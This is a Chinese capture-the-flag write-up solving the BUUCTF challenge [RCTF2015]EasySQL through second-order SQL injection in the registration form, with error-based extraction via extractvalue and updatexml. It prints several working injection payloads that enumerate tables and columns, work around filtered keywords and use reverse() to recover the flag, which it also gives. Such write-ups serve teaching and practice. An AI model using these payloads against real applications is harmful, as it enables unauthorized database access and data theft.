BUUCTF_Web([RCTF2015]EasySQL)二次注入+报错注入

做题知识点:

二次注入

二次注入是一次注入通过两次操作实现,注册和登陆。

  1. 注册恶意用户名

  2. 登陆, 在登陆过程中,肯定要将我们输入的数据和数据库进行比对,而在这个``查询数据库中的用户名进行比对的这个过程中,会执行我们插入数据库的用户名(也就是恶意sql注入语句)

题目: 只有登录和注册两个选项。

1.尝试注册

输入admin 123 1

显示用户存在。

2.尝试登录

输入admin'# 123 ( #注释掉后面的,不用管密码)

登录错误。

3.尝试修改密码

输入admin'# #注释掉后面的,不用管密码

点admin'#

点change password,修改密码。

发现没用,,,

4. 报错注入

使用Burp关键字过滤:

(在注册界面使用报错注入然后点击修改密码才会有回显说明这是二次注入,并且payload必须在用户名位置在注册界面

尝试时发现and、order等部分关键词被过滤,extractvalue和updatexml这样的报错注入关键字未被注释,我们可以利用username进行报错注入。

1.查看数据库表名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

有三个article,flag,users表名

2.1 查看flag表中列名(详细步骤)

二次注入:注册 --> 登录

报错注入:(在用户名位置的注册界面输入报错语句)

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

详细步骤:

注册

登录

登录成功后页面

点用户名

修改密码页面 (密码随便输)

页面显现

一个列flag
查看 flag中内容

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

(步骤同上,得)发现不是真正的flag。

2.2使用users表查列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))# (不知道是哪里出错了,可能某个关键字被过滤,本语句不对)

admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

发现了flag所在的真正位置real_flag_1s_here。但发现here只显示了her,未完全显示,这是因为 extractvalue 和 updatexml最多只能显示32位数字,我们可以使用 reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

有七个列名。
查找real_flag_1s_her'列名

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

发现flag只有一部分,因为right、left、mid等函数均被过滤,因此使用reverse函数

admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

倒置输出 (使用python脚本)

python 复制代码
letter_num = input('}de45611d9636-8c9b-f884-d0d8-9d')  # 直接获取输入
def convert_order():
    reversed_string = letter_num[::-1]  # 使用切片进行倒序
    print(reversed_string)  # 直接打印倒序的结果
convert_order()

得flag{b795edd9-8d0d-488f-b9c8-6369d11654ed}

参考链接:

[RCTF2015]EasySQL1 题目分析与详解

[RCTF2015]EasySQL(详细)

相关推荐
懒虫虫~11 小时前
通过内存去重替换SQL中distinct,优化SQL查询效率
java·sql·慢sql治理
逛逛GitHub12 小时前
1 个神级智能问数工具,刚开源就 1500 Star 了。
sql·github
Huhbbjs13 小时前
SQL 核心概念与实践总结
开发语言·数据库·sql
咋吃都不胖lyh13 小时前
SQL-字符串函数、数值函数、日期函数
sql
sensenlin9113 小时前
Mybatis中SQL全大写或全小写影响执行性能吗
数据库·sql·mybatis
xqlily17 小时前
SQL 数据库简介
数据库·sql
森林-18 小时前
MyBatis 从入门到精通(第三篇)—— 动态 SQL、关联查询与查询缓存
sql·缓存·mybatis
小虾米vivian18 小时前
达梦:将sql通过shell脚本的方式放在后台执行
服务器·数据库·sql
武昌库里写JAVA18 小时前
Mac下Python3安装
java·vue.js·spring boot·sql·学习
java干货21 小时前
MyBatis 的“魔法”:Mapper 接口是如何找到并执行 SQL 的?
数据库·sql·mybatis